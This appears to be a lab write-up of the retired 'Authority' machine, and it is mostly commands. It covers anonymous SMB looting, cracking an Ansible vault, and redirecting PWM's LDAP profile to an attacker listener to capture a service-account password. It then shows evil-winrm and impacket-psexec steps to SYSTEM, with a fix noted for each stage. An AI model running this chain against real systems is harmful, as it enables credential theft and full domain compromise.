Authority
Summary
An anonymous SMB share leaked an Ansible vault containing the credentials for the domain's PWM (Password Self-Service) web application. Those credentials unlocked PWM's Configuration Editor, which was then abused to redirect the DC's own LDAP client from encrypted LDAPS to a plaintext listener I controlled — when the editor was told to "test" the connection, the domain controller obediently bound to my listener and handed over the cleartext password for the AUTHORITY\svc_ldap service account.
That account authenticated over WinRM for an interactive foothold and user.txt, and turned out to also hold effective administrative rights on the domain controller itself, allowing a direct SMB/RPC command execution as SYSTEM and full compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <token_from_login_page> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Full TCP port/service scan.
$ nmap -sC -sV -p- $TARGETResolve the domain and DC hostname locally.
$ echo "$TARGET authority.htb authority.authority.htb" | sudo tee -a /etc/hostsExact commands 5
List shares with no credentials (null session).
$ smbclient -N -L //$TARGET/Pull the Ansible role tree; look at roles/*/defaults/main.yml for !vault blocks.
$ smbclient -N //$TARGET/Development -c 'recurse ON; prompt OFF; mget Automation\Ansible\*'Convert the Ansible Vault ciphertext to a hashcat/john-crackable format.
$ ansible2john vault_blob.txt > vault.hashGPU-crack the vault password.
$ hashcat -m 16900 vault.hash /usr/share/wordlists/rockyou.txtRecover pwm_admin_login / pwm_admin_password / ldap_admin_password in cleartext.
$ ansible-vault decrypt --vault-password-file cracked_pw.txt vault_blob.txtFixRemove anonymous access to SMB shares and stop storing credentials on themHigh
Exact commands 2
Fetch the login page and harvest the one-time pwmFormID token from the HTML.
$ curl --resolve authority.authority.htb:8443:$TARGET -ksS -D /tmp/pwm_headers.txt -o /tmp/pwm_login.html https://authority.authority.htb:8443/pwm/private/config/loginAuthenticate to the Configuration Editor using the cracked password.
$ curl -ksS -c /tmp/pwm.cookies -b /tmp/pwm.cookies -H 'Host: authority.authority.htb' --data-urlencode "password=$PASSWORD2" --data-urlencode 'processAction=login' --data-urlencode 'pwmFormID=<token_from_login_page>' https://$TARGET:8443/pwm/private/config/loginFixStop reusing a single crackable password to gate a privileged admin consoleHigh
Exact commands 3
Listener to capture the incoming plaintext LDAP simple-bind.
$ nc -lnvp 389Rewrite the configured LDAP URL to my own plaintext listener.
$ curl -ksS -c /tmp/pwm.cookies -b /tmp/pwm.cookies -H 'Host: authority.authority.htb' --data-urlencode 'processAction=writeSetting' --data-urlencode 'key=ldap.serverUrls' --data-urlencode 'value=["ldap://'"$ATTACKER_IP"':389"]' https://$TARGET:8443/pwm/private/config/editor/settings/LDAP_BASETrigger 'Test LDAP Profile' — the DC binds to the listener and leaks svc_ldap's password.
$ curl -ksS -c /tmp/pwm.cookies -b /tmp/pwm.cookies -H 'Host: authority.authority.htb' --data-urlencode 'processAction=testLdapProfile' https://$TARGET:8443/pwm/private/config/editorFixPrevent the LDAP profile tester from binding to externally controlled, unencrypted endpointsCritical
Exact commands 3
Interactive WinRM shell as svc_ldap.
$ evil-winrm -i $TARGET -u svc_ldap -p "$PASSWORD"Prove the access level before reading the flag.
$ whoamiRead the user flag; replace output with <user.txt> when reporting.
$ type C:\Users\svc_ldap\Desktop\user.txtExact commands 2
Confirm SYSTEM-level execution before reading the flag.
$ impacket-psexec "AUTHORITY.HTB/svc_ldap:$PASSWORD@$TARGET" whoamiRead the root flag; replace output with <root.txt> when reporting.
$ impacket-psexec "AUTHORITY.HTB/svc_ldap:$PASSWORD@$TARGET" 'cmd.exe /c type C:\Users\Administrator\Desktop\root.txt'FixApply least privilege to the svc_ldap service accountCritical
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 3269/tcp | unknown recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 8443/tcp | ssl/http Apache Tomcat (language: en) |
| 9389/tcp | unknown recon-sweep-discovered |
| 47001/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49671/tcp | unknown recon-sweep-discovered |
| 49674/tcp | unknown recon-sweep-discovered |
| 49675/tcp | unknown recon-sweep-discovered |
| 49679/tcp | unknown recon-sweep-discovered |
| 49682/tcp | unknown recon-sweep-discovered |
| 49687/tcp | unknown recon-sweep-discovered |
| 49700/tcp | unknown recon-sweep-discovered |
| 59560/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |